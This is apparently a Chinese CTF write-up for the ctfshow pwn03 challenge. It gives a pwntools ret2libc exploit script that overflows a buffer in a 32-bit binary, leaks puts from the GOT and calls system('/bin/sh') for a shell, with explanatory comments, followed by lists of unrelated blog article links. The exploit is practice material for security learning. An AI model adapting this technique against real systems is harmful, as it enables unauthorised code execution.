https://www.bilibili.com/video/av885494681




checksec发现开了NX保护



看我发现了什么,三个pop哈哈

from pwn import *
from LibcSearcher import *
elf = ELF('./stack1')
p = process('./stack1')
#不知道为啥远程打不开
#我知道为什么了,因为我的虚拟机瓦特了
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
main_addr = elf.symbols['main']payload = b'a'*(9+4) + p32(puts_plt) + p32(main_addr) + p32(puts_got)
#首先为啥是9+4,因为s大小为9字节,因为是32位,32÷8=4,所以是9+4
#为啥先puts_plt,后main,最后got,因为要先泄露outs在plt表的地址,然后通过main的返回地址,然后泄露puts在got表的地址
#还有就是由于libc延迟绑定,所以用got表泄露已经执行过的函数地址
#main可以让我们的程序再次执行,输入payload#--1--
p.recvuntil('\n\n')#很重要!!!
#获取两个\n\n,为啥,因为?
p.sendline(payload)
puts_addr = u32(p.recv(4))
#这里的意思是获取4字节,然后解码
print(hex(puts_addr))#获取到是0xf7e1acd0
#然后这里再转化为hex值
'''
#--2--
libc = LibcSearcher('puts',puts_addr)
libcbase = puts_addr - libc.dump('puts')
system_addr = libcbase + libc.dump('system')
bin_sh_sh_addr = libcbase + libc.dump('str_bin_sh')
p.interactive()
'''#--3--
puts_offset = 0x067360
system_offset = 0x03cd10
str_bin_sh_offset = 0x17b8cf
libcbase = puts_addr - puts_offset
system_addr = libcbase + system_offset
bin_sh_addr = libcbase + str_bin_sh_offset
payload2 = 'a'*13 + p32(system_addr) + 'a'*4 + p32(bin_sh_addr)
p.sendline(payload2)
p.interactive()

底下的不用看了↓没用上

#查看libc地址
lbb 文件名




ctfshow_pwn03相关推荐

最新文章

  1. 关于nginx rewrtie的四种flag
  2. Unity Mathf 数学运算(C#)
  3. C# - Marshal 学习总结
  4. leetcode 51. N 皇后 思考分析
  5. Linux系统运维成长记
  6. docker 安装 jdk,配置环境变量
  7. PHP总结:几个陷阱
  8. vue实现留言板的功能_基于vue和bootstrap实现简单留言板功能
  9. 对BottomTagFragment的理解
  10. 【实践】一站式数据开发平台在有赞的最佳实践.pdf(附下载链接)
  11. 怎样检查c语言程序的问题,C语言陷阱与技巧第24节,做代码选择,不一定都要使用 if 判断的...
  12. 每日算法系列【LeetCode 470】用 Rand7() 实现 Rand10()
  13. 手机上怎么换证件照底色?手机一键照片改背景颜色
  14. Linux centOS 7.2 命令行下 静默安装部署oracle11g数据库
  15. 页面打印表格换页问题
  16. Alpha阶段敏捷冲刺②
  17. tplmap-模板注入工具
  18. Kafka SASL/SCRAM动态认证集群部署
  19. LINUX操作系统centos安装
  20. Android开发指南中文版

热门文章

  1. Android 程序员必须掌握的三种自动化测试方法
  2. 多线程系列学习:ABA问题
  3. 【支付宝沙箱支付】麻瓜教程——申请----代码----修改测试----问题解决
  4. 经商要看《大染坊》,做人要学陈寿亭
  5. SPI读写FLASH 原理+完整代码
  6. 《凸优化》7 学习笔记
  7. Java第三十三天,IO操作(续集),字符转换流
  8. Taurus_Linux
  9. element tab如何居中_如何用思维导图提高工作效率
  10. python Django音乐推荐系统